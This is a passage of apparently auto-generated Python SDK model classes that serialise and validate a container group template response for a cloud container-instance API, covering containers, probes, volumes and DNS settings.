self.validate_required(self.field_ref, 'field_ref') if self.field_ref: self.field_ref.validate() def to_map(self): result = {} if self.field_ref is not None: result['FieldRef'] = self.field_ref.to_map() else: result['FieldRef'] = None return result def from_map(self, map={}): if map.get('FieldRef') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecInitContainersEnvValueFromFieldRef() self.field_ref = temp_model.from_map(map['FieldRef']) else: self.field_ref = None return self class ExportContainerGroupTemplateResponseTemplateSpecInitContainersEnv(TeaModel): def __init__(self, name=None, value=None, value_from=None): self.name = name self.value = value self.value_from = value_from def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.value, 'value') self.validate_required(self.value_from, 'value_from') if self.value_from: self.value_from.validate() def to_map(self): result = {} result['Name'] = self.name result['Value'] = self.value if self.value_from is not None: result['ValueFrom'] = self.value_from.to_map() else: result['ValueFrom'] = None return result def from_map(self, map={}): self.name = map.get('Name') self.value = map.get('Value') if map.get('ValueFrom') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecInitContainersEnvValueFrom() self.value_from = temp_model.from_map(map['ValueFrom']) else: self.value_from = None return self class ExportContainerGroupTemplateResponseTemplateSpecInitContainersPorts(TeaModel): def __init__(self, name=None, protocol=None, container_port=None): self.name = name self.protocol = protocol self.container_port = container_port def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.protocol, 'protocol') self.validate_required(self.container_port, 'container_port') def to_map(self): result = {} result['Name'] = self.name result['Protocol'] = self.protocol result['ContainerPort'] = self.container_port return result def from_map(self, map={}): self.name = map.get('Name') self.protocol = map.get('Protocol') self.container_port = map.get('ContainerPort') return self class ExportContainerGroupTemplateResponseTemplateSpecInitContainersVolumeMounts(TeaModel): def __init__(self, name=None, sub_path=None, mount_path=None, read_only=None): self.name = name self.sub_path = sub_path self.mount_path = mount_path self.read_only = read_only def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.sub_path, 'sub_path') self.validate_required(self.mount_path, 'mount_path') self.validate_required(self.read_only, 'read_only') def to_map(self): result = {} result['Name'] = self.name result['SubPath'] = self.sub_path result['MountPath'] = self.mount_path result['ReadOnly'] = self.read_only return result def from_map(self, map={}): self.name = map.get('Name') self.sub_path = map.get('SubPath') self.mount_path = map.get('MountPath') self.read_only = map.get('ReadOnly') return self class ExportContainerGroupTemplateResponseTemplateSpecInitContainersSecurityContextSysctls(TeaModel): def __init__(self, name=None, value=None): self.name = name self.value = value def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.value, 'value') def to_map(self): result = {} result['Name'] = self.name result['Value'] = self.value return result def from_map(self, map={}): self.name = map.get('Name') self.value = map.get('Value') return self class ExportContainerGroupTemplateResponseTemplateSpecInitContainersSecurityContext(TeaModel): def __init__(self, sysctls=None): self.sysctls = [] def validate(self): self.validate_required(self.sysctls, 'sysctls') if self.sysctls: for k in self.sysctls: if k : k.validate() def to_map(self): result = {} result['Sysctls'] = [] if self.sysctls is not None: for k in self.sysctls: result['Sysctls'].append(k.to_map() if k else None) else: result['Sysctls'] = None return result def from_map(self, map={}): self.sysctls = [] if map.get('Sysctls') is not None: for k in map.get('Sysctls'): temp_model = ExportContainerGroupTemplateResponseTemplateSpecInitContainersSecurityContextSysctls() temp_model = temp_model.from_map(k) self.sysctls.append(temp_model) else: self.sysctls = None return self class ExportContainerGroupTemplateResponseTemplateSpecInitContainersResources(TeaModel): def __init__(self, cpu=None, memory=None): self.cpu = cpu self.memory = memory def validate(self): self.validate_required(self.cpu, 'cpu') self.validate_required(self.memory, 'memory') def to_map(self): result = {} result['Cpu'] = self.cpu result['Memory'] = self.memory return result def from_map(self, map={}): self.cpu = map.get('Cpu') self.memory = map.get('Memory') return self class ExportContainerGroupTemplateResponseTemplateSpecInitContainers(TeaModel): def __init__(self, name=None, image=None, image_pull_policy=None, stdin=None, stdin_once=None, tty=None, working_dir=None, env=None, ports=None, volume_mounts=None, security_context=None, resources=None, command=None, args=None): self.name = name self.image = image self.image_pull_policy = image_pull_policy self.stdin = stdin self.stdin_once = stdin_once self.tty = tty self.working_dir = working_dir self.env = [] self.ports = [] self.volume_mounts = [] self.security_context = security_context self.resources = resources self.command = [] self.args = [] def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.image, 'image') self.validate_required(self.image_pull_policy, 'image_pull_policy') self.validate_required(self.stdin, 'stdin') self.validate_required(self.stdin_once, 'stdin_once') self.validate_required(self.tty, 'tty') self.validate_required(self.working_dir, 'working_dir') self.validate_required(self.env, 'env') if self.env: for k in self.env: if k : k.validate() self.validate_required(self.ports, 'ports') if self.ports: for k in self.ports: if k : k.validate() self.validate_required(self.volume_mounts, 'volume_mounts') if self.volume_mounts: for k in self.volume_mounts: if k : k.validate() self.validate_required(self.security_context, 'security_context') if self.security_context: self.security_context.validate() self.validate_required(self.resources, 'resources') if self.resources: self.resources.validate() self.validate_required(self.command, 'command') self.validate_required(self.args, 'args') def to_map(self): result = {} result['Name'] = self.name result['Image'] = self.image result['ImagePullPolicy'] = self.image_pull_policy result['Stdin'] = self.stdin result['StdinOnce'] = self.stdin_once result['Tty'] = self.tty result['WorkingDir'] = self.working_dir result['Env'] = [] if self.env is not None: for k in self.env: result['Env'].append(k.to_map() if k else None) else: result['Env'] = None result['Ports'] = [] if self.ports is not None: for k in self.ports: result['Ports'].append(k.to_map() if k else None) else: result['Ports'] = None result['VolumeMounts'] = [] if self.volume_mounts is not None: for k in self.volume_mounts: result['VolumeMounts'].append(k.to_map() if k else None) else: result['VolumeMounts'] = None if self.security_context is not None: result['SecurityContext'] = self.security_context.to_map() else: result['SecurityContext'] = None if self.resources is not None: result['Resources'] = self.resources.to_map() else: result['Resources'] = None result['Command'] = [] if self.command is not None: for k in self.command: result['Command'].append(k) else: result['Command'] = None result['Args'] = [] if self.args is not None: for k in self.args: result['Args'].append(k) else: result['Args'] = None return result def from_map(self, map={}): self.name = map.get('Name') self.image = map.get('Image') self.image_pull_policy = map.get('ImagePullPolicy') self.stdin = map.get('Stdin') self.stdin_once = map.get('StdinOnce') self.tty = map.get('Tty') self.working_dir = map.get('WorkingDir') self.env = [] if map.get('Env') is not None: for k in map.get('Env'): temp_model = ExportContainerGroupTemplateResponseTemplateSpecInitContainersEnv() temp_model = temp_model.from_map(k) self.env.append(temp_model) else: self.env = None self.ports = [] if map.get('Ports') is not None: for k in map.get('Ports'): temp_model = ExportContainerGroupTemplateResponseTemplateSpecInitContainersPorts() temp_model = temp_model.from_map(k) self.ports.append(temp_model) else: self.ports = None self.volume_mounts = [] if map.get('VolumeMounts') is not None: for k in map.get('VolumeMounts'): temp_model = ExportContainerGroupTemplateResponseTemplateSpecInitContainersVolumeMounts() temp_model = temp_model.from_map(k) self.volume_mounts.append(temp_model) else: self.volume_mounts = None if map.get('SecurityContext') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecInitContainersSecurityContext() self.security_context = temp_model.from_map(map['SecurityContext']) else: self.security_context = None if map.get('Resources') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecInitContainersResources() self.resources = temp_model.from_map(map['Resources']) else: self.resources = None self.command = [] if map.get('Command') is not None: for k in map.get('Command'): self.command.append(k) else: self.command = None self.args = [] if map.get('Args') is not None: for k in map.get('Args'): self.args.append(k) else: self.args = None return self class ExportContainerGroupTemplateResponseTemplateSpecContainersEnvValueFromFieldRef(TeaModel): def __init__(self, field_path=None): self.field_path = field_path def validate(self): self.validate_required(self.field_path, 'field_path') def to_map(self): result = {} result['FieldPath'] = self.field_path return result def from_map(self, map={}): self.field_path = map.get('FieldPath') return self class ExportContainerGroupTemplateResponseTemplateSpecContainersEnvValueFrom(TeaModel): def __init__(self, field_ref=None): self.field_ref = field_ref def validate(self): self.validate_required(self.field_ref, 'field_ref') if self.field_ref: self.field_ref.validate() def to_map(self): result = {} if self.field_ref is not None: result['FieldRef'] = self.field_ref.to_map() else: result['FieldRef'] = None return result def from_map(self, map={}): if map.get('FieldRef') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecContainersEnvValueFromFieldRef() self.field_ref = temp_model.from_map(map['FieldRef']) else: self.field_ref = None return self class ExportContainerGroupTemplateResponseTemplateSpecContainersEnv(TeaModel): def __init__(self, name=None, value=None, value_from=None): self.name = name self.value = value self.value_from = value_from def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.value, 'value') self.validate_required(self.value_from, 'value_from') if self.value_from: self.value_from.validate() def to_map(self): result = {} result['Name'] = self.name result['Value'] = self.value if self.value_from is not None: result['ValueFrom'] = self.value_from.to_map() else: result['ValueFrom'] = None return result def from_map(self, map={}): self.name = map.get('Name') self.value = map.get('Value') if map.get('ValueFrom') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecContainersEnvValueFrom() self.value_from = temp_model.from_map(map['ValueFrom']) else: self.value_from = None return self class ExportContainerGroupTemplateResponseTemplateSpecContainersPorts(TeaModel): def __init__(self, name=None, protocol=None, container_port=None): self.name = name self.protocol = protocol self.container_port = container_port def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.protocol, 'protocol') self.validate_required(self.container_port, 'container_port') def to_map(self): result = {} result['Name'] = self.name result['Protocol'] = self.protocol result['ContainerPort'] = self.container_port return result def from_map(self, map={}): self.name = map.get('Name') self.protocol = map.get('Protocol') self.container_port = map.get('ContainerPort') return self class ExportContainerGroupTemplateResponseTemplateSpecContainersVolumeMounts(TeaModel): def __init__(self, name=None, sub_path=None, mount_path=None, read_only=None): self.name = name self.sub_path = sub_path self.mount_path = mount_path self.read_only = read_only def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.sub_path, 'sub_path') self.validate_required(self.mount_path, 'mount_path') self.validate_required(self.read_only, 'read_only') def to_map(self): result = {} result['Name'] = self.name result['SubPath'] = self.sub_path result['MountPath'] = self.mount_path result['ReadOnly'] = self.read_only return result def from_map(self, map={}): self.name = map.get('Name') self.sub_path = map.get('SubPath') self.mount_path = map.get('MountPath') self.read_only = map.get('ReadOnly') return self class ExportContainerGroupTemplateResponseTemplateSpecContainersSecurityContextSysctls(TeaModel): def __init__(self, name=None, value=None): self.name = name self.value = value def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.value, 'value') def to_map(self): result = {} result['Name'] = self.name result['Value'] = self.value return result def from_map(self, map={}): self.name = map.get('Name') self.value = map.get('Value') return self class ExportContainerGroupTemplateResponseTemplateSpecContainersSecurityContext(TeaModel): def __init__(self, sysctls=None): self.sysctls = [] def validate(self): self.validate_required(self.sysctls, 'sysctls') if self.sysctls: for k in self.sysctls: if k : k.validate() def to_map(self): result = {} result['Sysctls'] = [] if self.sysctls is not None: for k in self.sysctls: result['Sysctls'].append(k.to_map() if k else None) else: result['Sysctls'] = None return result def from_map(self, map={}): self.sysctls = [] if map.get('Sysctls') is not None: for k in map.get('Sysctls'): temp_model = ExportContainerGroupTemplateResponseTemplateSpecContainersSecurityContextSysctls() temp_model = temp_model.from_map(k) self.sysctls.append(temp_model) else: self.sysctls = None return self class ExportContainerGroupTemplateResponseTemplateSpecContainersResources(TeaModel): def __init__(self, cpu=None, memory=None): self.cpu = cpu self.memory = memory def validate(self): self.validate_required(self.cpu, 'cpu') self.validate_required(self.memory, 'memory') def to_map(self): result = {} result['Cpu'] = self.cpu result['Memory'] = self.memory return result def from_map(self, map={}): self.cpu = map.get('Cpu') self.memory = map.get('Memory') return self class ExportContainerGroupTemplateResponseTemplateSpecContainersReadinessProbeExec(TeaModel): def __init__(self, command=None): self.command = [] def validate(self): self.validate_required(self.command, 'command') def to_map(self): result = {} result['Command'] = [] if self.command is not None: for k in self.command: result['Command'].append(k) else: result['Command'] = None return result def from_map(self, map={}): self.command = [] if map.get('Command') is not None: for k in map.get('Command'): self.command.append(k) else: self.command = None return self class ExportContainerGroupTemplateResponseTemplateSpecContainersReadinessProbeTcpSocket(TeaModel): def __init__(self, port=None): self.port = port def validate(self): self.validate_required(self.port, 'port') def to_map(self): result = {} result['Port'] = self.port return result def from_map(self, map={}): self.port = map.get('Port') return self class ExportContainerGroupTemplateResponseTemplateSpecContainersReadinessProbeHttpGet(TeaModel): def __init__(self, scheme=None, path=None, port=None): self.scheme = scheme self.path = path self.port = port def validate(self): self.validate_required(self.scheme, 'scheme') self.validate_required(self.path, 'path') self.validate_required(self.port, 'port') def to_map(self): result = {} result['Scheme'] = self.scheme result['Path'] = self.path result['Port'] = self.port return result def from_map(self, map={}): self.scheme = map.get('Scheme') self.path = map.get('Path') self.port = map.get('Port') return self class ExportContainerGroupTemplateResponseTemplateSpecContainersReadinessProbe(TeaModel): def __init__(self, initial_delay_seconds=None, period_seconds=None, success_threshold=None, failure_threshold=None, timeout_seconds=None, exec=None, tcp_socket=None, http_get=None): self.initial_delay_seconds = initial_delay_seconds self.period_seconds = period_seconds self.success_threshold = success_threshold self.failure_threshold = failure_threshold self.timeout_seconds = timeout_seconds self.exec = exec self.tcp_socket = tcp_socket self.http_get = http_get def validate(self): self.validate_required(self.initial_delay_seconds, 'initial_delay_seconds') self.validate_required(self.period_seconds, 'period_seconds') self.validate_required(self.success_threshold, 'success_threshold') self.validate_required(self.failure_threshold, 'failure_threshold') self.validate_required(self.timeout_seconds, 'timeout_seconds') self.validate_required(self.exec, 'exec') if self.exec: self.exec.validate() self.validate_required(self.tcp_socket, 'tcp_socket') if self.tcp_socket: self.tcp_socket.validate() self.validate_required(self.http_get, 'http_get') if self.http_get: self.http_get.validate() def to_map(self): result = {} result['InitialDelaySeconds'] = self.initial_delay_seconds result['PeriodSeconds'] = self.period_seconds result['SuccessThreshold'] = self.success_threshold result['FailureThreshold'] = self.failure_threshold result['TimeoutSeconds'] = self.timeout_seconds if self.exec is not None: result['Exec'] = self.exec.to_map() else: result['Exec'] = None if self.tcp_socket is not None: result['TcpSocket'] = self.tcp_socket.to_map() else: result['TcpSocket'] = None if self.http_get is not None: result['HttpGet'] = self.http_get.to_map() else: result['HttpGet'] = None return result def from_map(self, map={}): self.initial_delay_seconds = map.get('InitialDelaySeconds') self.period_seconds = map.get('PeriodSeconds') self.success_threshold = map.get('SuccessThreshold') self.failure_threshold = map.get('FailureThreshold') self.timeout_seconds = map.get('TimeoutSeconds') if map.get('Exec') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecContainersReadinessProbeExec() self.exec = temp_model.from_map(map['Exec']) else: self.exec = None if map.get('TcpSocket') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecContainersReadinessProbeTcpSocket() self.tcp_socket = temp_model.from_map(map['TcpSocket']) else: self.tcp_socket = None if map.get('HttpGet') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecContainersReadinessProbeHttpGet() self.http_get = temp_model.from_map(map['HttpGet']) else: self.http_get = None return self class ExportContainerGroupTemplateResponseTemplateSpecContainersLivenessProbeExec(TeaModel): def __init__(self, command=None): self.command = [] def validate(self): self.validate_required(self.command, 'command') def to_map(self): result = {} result['Command'] = [] if self.command is not None: for k in self.command: result['Command'].append(k) else: result['Command'] = None return result def from_map(self, map={}): self.command = [] if map.get('Command') is not None: for k in map.get('Command'): self.command.append(k) else: self.command = None return self class ExportContainerGroupTemplateResponseTemplateSpecContainersLivenessProbeTcpSocket(TeaModel): def __init__(self, port=None): self.port = port def validate(self): self.validate_required(self.port, 'port') def to_map(self): result = {} result['Port'] = self.port return result def from_map(self, map={}): self.port = map.get('Port') return self class ExportContainerGroupTemplateResponseTemplateSpecContainersLivenessProbeHttpGet(TeaModel): def __init__(self, scheme=None, path=None, port=None): self.scheme = scheme self.path = path self.port = port def validate(self): self.validate_required(self.scheme, 'scheme') self.validate_required(self.path, 'path') self.validate_required(self.port, 'port') def to_map(self): result = {} result['Scheme'] = self.scheme result['Path'] = self.path result['Port'] = self.port return result def from_map(self, map={}): self.scheme = map.get('Scheme') self.path = map.get('Path') self.port = map.get('Port') return self class ExportContainerGroupTemplateResponseTemplateSpecContainersLivenessProbe(TeaModel): def __init__(self, initial_delay_seconds=None, period_seconds=None, success_threshold=None, failure_threshold=None, timeout_seconds=None, exec=None, tcp_socket=None, http_get=None): self.initial_delay_seconds = initial_delay_seconds self.period_seconds = period_seconds self.success_threshold = success_threshold self.failure_threshold = failure_threshold self.timeout_seconds = timeout_seconds self.exec = exec self.tcp_socket = tcp_socket self.http_get = http_get def validate(self): self.validate_required(self.initial_delay_seconds, 'initial_delay_seconds') self.validate_required(self.period_seconds, 'period_seconds') self.validate_required(self.success_threshold, 'success_threshold') self.validate_required(self.failure_threshold, 'failure_threshold') self.validate_required(self.timeout_seconds, 'timeout_seconds') self.validate_required(self.exec, 'exec') if self.exec: self.exec.validate() self.validate_required(self.tcp_socket, 'tcp_socket') if self.tcp_socket: self.tcp_socket.validate() self.validate_required(self.http_get, 'http_get') if self.http_get: self.http_get.validate() def to_map(self): result = {} result['InitialDelaySeconds'] = self.initial_delay_seconds result['PeriodSeconds'] = self.period_seconds result['SuccessThreshold'] = self.success_threshold result['FailureThreshold'] = self.failure_threshold result['TimeoutSeconds'] = self.timeout_seconds if self.exec is not None: result['Exec'] = self.exec.to_map() else: result['Exec'] = None if self.tcp_socket is not None: result['TcpSocket'] = self.tcp_socket.to_map() else: result['TcpSocket'] = None if self.http_get is not None: result['HttpGet'] = self.http_get.to_map() else: result['HttpGet'] = None return result def from_map(self, map={}): self.initial_delay_seconds = map.get('InitialDelaySeconds') self.period_seconds = map.get('PeriodSeconds') self.success_threshold = map.get('SuccessThreshold') self.failure_threshold = map.get('FailureThreshold') self.timeout_seconds = map.get('TimeoutSeconds') if map.get('Exec') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecContainersLivenessProbeExec() self.exec = temp_model.from_map(map['Exec']) else: self.exec = None if map.get('TcpSocket') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecContainersLivenessProbeTcpSocket() self.tcp_socket = temp_model.from_map(map['TcpSocket']) else: self.tcp_socket = None if map.get('HttpGet') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecContainersLivenessProbeHttpGet() self.http_get = temp_model.from_map(map['HttpGet']) else: self.http_get = None return self class ExportContainerGroupTemplateResponseTemplateSpecContainers(TeaModel): def __init__(self, name=None, image=None, image_pull_policy=None, stdin=None, stdin_once=None, tty=None, working_dir=None, env=None, ports=None, volume_mounts=None, security_context=None, resources=None, readiness_probe=None, liveness_probe=None, command=None, args=None): self.name = name self.image = image self.image_pull_policy = image_pull_policy self.stdin = stdin self.stdin_once = stdin_once self.tty = tty self.working_dir = working_dir self.env = [] self.ports = [] self.volume_mounts = [] self.security_context = security_context self.resources = resources self.readiness_probe = readiness_probe self.liveness_probe = liveness_probe self.command = [] self.args = [] def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.image, 'image') self.validate_required(self.image_pull_policy, 'image_pull_policy') self.validate_required(self.stdin, 'stdin') self.validate_required(self.stdin_once, 'stdin_once') self.validate_required(self.tty, 'tty') self.validate_required(self.working_dir, 'working_dir') self.validate_required(self.env, 'env') if self.env: for k in self.env: if k : k.validate() self.validate_required(self.ports, 'ports') if self.ports: for k in self.ports: if k : k.validate() self.validate_required(self.volume_mounts, 'volume_mounts') if self.volume_mounts: for k in self.volume_mounts: if k : k.validate() self.validate_required(self.security_context, 'security_context') if self.security_context: self.security_context.validate() self.validate_required(self.resources, 'resources') if self.resources: self.resources.validate() self.validate_required(self.readiness_probe, 'readiness_probe') if self.readiness_probe: self.readiness_probe.validate() self.validate_required(self.liveness_probe, 'liveness_probe') if self.liveness_probe: self.liveness_probe.validate() self.validate_required(self.command, 'command') self.validate_required(self.args, 'args') def to_map(self): result = {} result['Name'] = self.name result['Image'] = self.image result['ImagePullPolicy'] = self.image_pull_policy result['Stdin'] = self.stdin result['StdinOnce'] = self.stdin_once result['Tty'] = self.tty result['WorkingDir'] = self.working_dir result['Env'] = [] if self.env is not None: for k in self.env: result['Env'].append(k.to_map() if k else None) else: result['Env'] = None result['Ports'] = [] if self.ports is not None: for k in self.ports: result['Ports'].append(k.to_map() if k else None) else: result['Ports'] = None result['VolumeMounts'] = [] if self.volume_mounts is not None: for k in self.volume_mounts: result['VolumeMounts'].append(k.to_map() if k else None) else: result['VolumeMounts'] = None if self.security_context is not None: result['SecurityContext'] = self.security_context.to_map() else: result['SecurityContext'] = None if self.resources is not None: result['Resources'] = self.resources.to_map() else: result['Resources'] = None if self.readiness_probe is not None: result['ReadinessProbe'] = self.readiness_probe.to_map() else: result['ReadinessProbe'] = None if self.liveness_probe is not None: result['LivenessProbe'] = self.liveness_probe.to_map() else: result['LivenessProbe'] = None result['Command'] = [] if self.command is not None: for k in self.command: result['Command'].append(k) else: result['Command'] = None result['Args'] = [] if self.args is not None: for k in self.args: result['Args'].append(k) else: result['Args'] = None return result def from_map(self, map={}): self.name = map.get('Name') self.image = map.get('Image') self.image_pull_policy = map.get('ImagePullPolicy') self.stdin = map.get('Stdin') self.stdin_once = map.get('StdinOnce') self.tty = map.get('Tty') self.working_dir = map.get('WorkingDir') self.env = [] if map.get('Env') is not None: for k in map.get('Env'): temp_model = ExportContainerGroupTemplateResponseTemplateSpecContainersEnv() temp_model = temp_model.from_map(k) self.env.append(temp_model) else: self.env = None self.ports = [] if map.get('Ports') is not None: for k in map.get('Ports'): temp_model = ExportContainerGroupTemplateResponseTemplateSpecContainersPorts() temp_model = temp_model.from_map(k) self.ports.append(temp_model) else: self.ports = None self.volume_mounts = [] if map.get('VolumeMounts') is not None: for k in map.get('VolumeMounts'): temp_model = ExportContainerGroupTemplateResponseTemplateSpecContainersVolumeMounts() temp_model = temp_model.from_map(k) self.volume_mounts.append(temp_model) else: self.volume_mounts = None if map.get('SecurityContext') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecContainersSecurityContext() self.security_context = temp_model.from_map(map['SecurityContext']) else: self.security_context = None if map.get('Resources') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecContainersResources() self.resources = temp_model.from_map(map['Resources']) else: self.resources = None if map.get('ReadinessProbe') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecContainersReadinessProbe() self.readiness_probe = temp_model.from_map(map['ReadinessProbe']) else: self.readiness_probe = None if map.get('LivenessProbe') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecContainersLivenessProbe() self.liveness_probe = temp_model.from_map(map['LivenessProbe']) else: self.liveness_probe = None self.command = [] if map.get('Command') is not None: for k in map.get('Command'): self.command.append(k) else: self.command = None self.args = [] if map.get('Args') is not None: for k in map.get('Args'): self.args.append(k) else: self.args = None return self class ExportContainerGroupTemplateResponseTemplateSpecDnsConfigOptions(TeaModel): def __init__(self, name=None, value=None): self.name = name self.value = value def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.value, 'value') def to_map(self): result = {} result['Name'] = self.name result['Value'] = self.value return result def from_map(self, map={}): self.name = map.get('Name') self.value = map.get('Value') return self class ExportContainerGroupTemplateResponseTemplateSpecDnsConfig(TeaModel): def __init__(self, options=None, name_servers=None, searches=None): self.options = [] self.name_servers = [] self.searches = [] def validate(self): self.validate_required(self.options, 'options') if self.options: for k in self.options: if k : k.validate() self.validate_required(self.name_servers, 'name_servers') self.validate_required(self.searches, 'searches') def to_map(self): result = {} result['Options'] = [] if self.options is not None: for k in self.options: result['Options'].append(k.to_map() if k else None) else: result['Options'] = None result['NameServers'] = [] if self.name_servers is not None: for k in self.name_servers: result['NameServers'].append(k) else: result['NameServers'] = None result['Searches'] = [] if self.searches is not None: for k in self.searches: result['Searches'].append(k) else: result['Searches'] = None return result def from_map(self, map={}): self.options = [] if map.get('Options') is not None: for k in map.get('Options'): temp_model = ExportContainerGroupTemplateResponseTemplateSpecDnsConfigOptions() temp_model = temp_model.from_map(k) self.options.append(temp_model) else: self.options = None self.name_servers = [] if map.get('NameServers') is not None: for k in map.get('NameServers'): self.name_servers.append(k) else: self.name_servers = None self.searches = [] if map.get('Searches') is not None: for k in map.get('Searches'): self.searches.append(k) else: self.searches = None return self class ExportContainerGroupTemplateResponseTemplateSpecSecurityContextSysctls(TeaModel): def __init__(self, name=None, value=None): self.name = name self.value = value def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.value, 'value') def to_map(self): result = {} result['Name'] = self.name result['Value'] = self.value return result def from_map(self, map={}): self.name = map.get('Name') self.value = map.get('Value') return self class ExportContainerGroupTemplateResponseTemplateSpecSecurityContext(TeaModel): def __init__(self, sysctls=None): self.sysctls = [] def validate(self): self.validate_required(self.sysctls, 'sysctls') if self.sysctls: for k in self.sysctls: if k : k.validate() def to_map(self): result = {} result['Sysctls'] = [] if self.sysctls is not None: for k in self.sysctls: result['Sysctls'].append(k.to_map() if k else None) else: result['Sysctls'] = None return result def from_map(self, map={}): self.sysctls = [] if map.get('Sysctls') is not None: for k in map.get('Sysctls'): temp_model = ExportContainerGroupTemplateResponseTemplateSpecSecurityContextSysctls() temp_model = temp_model.from_map(k) self.sysctls.append(temp_model) else: self.sysctls = None return self class ExportContainerGroupTemplateResponseTemplateSpec(TeaModel): def __init__(self, restart_policy=None, dns_policy=None, volumes=None, init_containers=None, containers=None, dns_config=None, security_context=None): self.restart_policy = restart_policy self.dns_policy = dns_policy self.volumes = [] self.init_containers = [] self.containers = [] self.dns_config = dns_config self.security_context = security_context def validate(self): self.validate_required(self.restart_policy, 'restart_policy') self.validate_required(self.dns_policy, 'dns_policy') self.validate_required(self.volumes, 'volumes') if self.volumes: for k in self.volumes: if k : k.validate() self.validate_required(self.init_containers, 'init_containers') if self.init_containers: for k in self.init_containers: if k : k.validate() self.validate_required(self.containers, 'containers') if self.containers: for k in self.containers: if k : k.validate() self.validate_required(self.dns_config, 'dns_config') if self.dns_config: self.dns_config.validate() self.validate_required(self.security_context, 'security_context') if self.security_context: self.security_context.validate() def to_map(self): result = {} result['RestartPolicy'] = self.restart_policy result['DnsPolicy'] = self.dns_policy result['Volumes'] = [] if self.volumes is not None: for k in self.volumes: result['Volumes'].append(k.to_map() if k else None) else: result['Volumes'] = None result['InitContainers'] = [] if self.init_containers is not None: for k in self.init_containers: result['InitContainers'].append(k.to_map() if k else None) else: result['InitContainers'] = None result['Containers'] = [] if self.containers is not None: for k in self.containers: result['Containers'].append(k.to_map() if k else None) else: result['Containers'] = None if self.dns_config is not None: result['DnsConfig'] = self.dns_config.to_map() else: result['DnsConfig'] = None if self.security_context is not None: result['SecurityContext'] = self.security_context.to_map() else: result['SecurityContext'] = None return result def from_map(self, map={}): self.restart_policy = map.get('RestartPolicy') self.dns_policy = map.get('DnsPolicy') self.volumes = [] if map.get('Volumes') is not None: for k in map.get('Volumes'): temp_model = ExportContainerGroupTemplateResponseTemplateSpecVolumes() temp_model = temp_model.from_map(k) self.volumes.append(temp_model) else: self.volumes = None self.init_containers = [] if map.get('InitContainers') is not None: for k in map.get('InitContainers'): temp_model = ExportContainerGroupTemplateResponseTemplateSpecInitContainers() temp_model = temp_model.from_map(k) self.init_containers.append(temp_model) else: self.init_containers = None self.containers = [] if map.get('Containers') is not None: for k in map.get('Containers'): temp_model = ExportContainerGroupTemplateResponseTemplateSpecContainers() temp_model = temp_model.from_map(k) self.containers.append(temp_model) else: self.containers = None if map.get('DnsConfig') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecDnsConfig() self.dns_config = temp_model.from_map(map['DnsConfig']) else: self.dns_config = None if map.get('SecurityContext') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateSpecSecurityContext() self.security_context = temp_model.from_map(map['SecurityContext']) else: self.security_context = None return self class ExportContainerGroupTemplateResponseTemplate(TeaModel): def __init__(self, region_id=None, zone_id=None, security_group_id=None, v_switch_id=None, resource_group_id=None, eip_instance_id=None, container_group_name=None, instance_type=None, tags=None, resources=None, spec=None): self.region_id = region_id self.zone_id = zone_id self.security_group_id = security_group_id self.v_switch_id = v_switch_id self.resource_group_id = resource_group_id self.eip_instance_id = eip_instance_id self.container_group_name = container_group_name self.instance_type = instance_type self.tags = [] self.resources = resources self.spec = spec def validate(self): self.validate_required(self.region_id, 'region_id') self.validate_required(self.zone_id, 'zone_id') self.validate_required(self.security_group_id, 'security_group_id') self.validate_required(self.v_switch_id, 'v_switch_id') self.validate_required(self.resource_group_id, 'resource_group_id') self.validate_required(self.eip_instance_id, 'eip_instance_id') self.validate_required(self.container_group_name, 'container_group_name') self.validate_required(self.instance_type, 'instance_type') self.validate_required(self.tags, 'tags') if self.tags: for k in self.tags: if k : k.validate() self.validate_required(self.resources, 'resources') if self.resources: self.resources.validate() self.validate_required(self.spec, 'spec') if self.spec: self.spec.validate() def to_map(self): result = {} result['RegionId'] = self.region_id result['ZoneId'] = self.zone_id result['SecurityGroupId'] = self.security_group_id result['VSwitchId'] = self.v_switch_id result['ResourceGroupId'] = self.resource_group_id result['EipInstanceId'] = self.eip_instance_id result['ContainerGroupName'] = self.container_group_name result['InstanceType'] = self.instance_type result['Tags'] = [] if self.tags is not None: for k in self.tags: result['Tags'].append(k.to_map() if k else None) else: result['Tags'] = None if self.resources is not None: result['Resources'] = self.resources.to_map() else: result['Resources'] = None if self.spec is not None: result['Spec'] = self.spec.to_map() else: result['Spec'] = None return result def from_map(self, map={}): self.region_id = map.get('RegionId') self.zone_id = map.get('ZoneId') self.security_group_id = map.get('SecurityGroupId') self.v_switch_id = map.get('VSwitchId') self.resource_group_id = map.get('ResourceGroupId') self.eip_instance_id = map.get('EipInstanceId') self.container_group_name = map.get('ContainerGroupName') self.instance_type = map.get('InstanceType') self.tags = [] if map.get('Tags') is not None: for k in map.get('Tags'): temp_model = ExportContainerGroupTemplateResponseTemplateTags() temp_model = temp_model.from_map(k) self.tags.append(temp_model) else: self.tags = None if map.get('Resources') is not None: temp_model = ExportContainerGroupTemplateResponseTemplateResources() self.resources = temp_model.from_map(map['Resources']) else: self.resources = None if map.get('Spec') is not None: 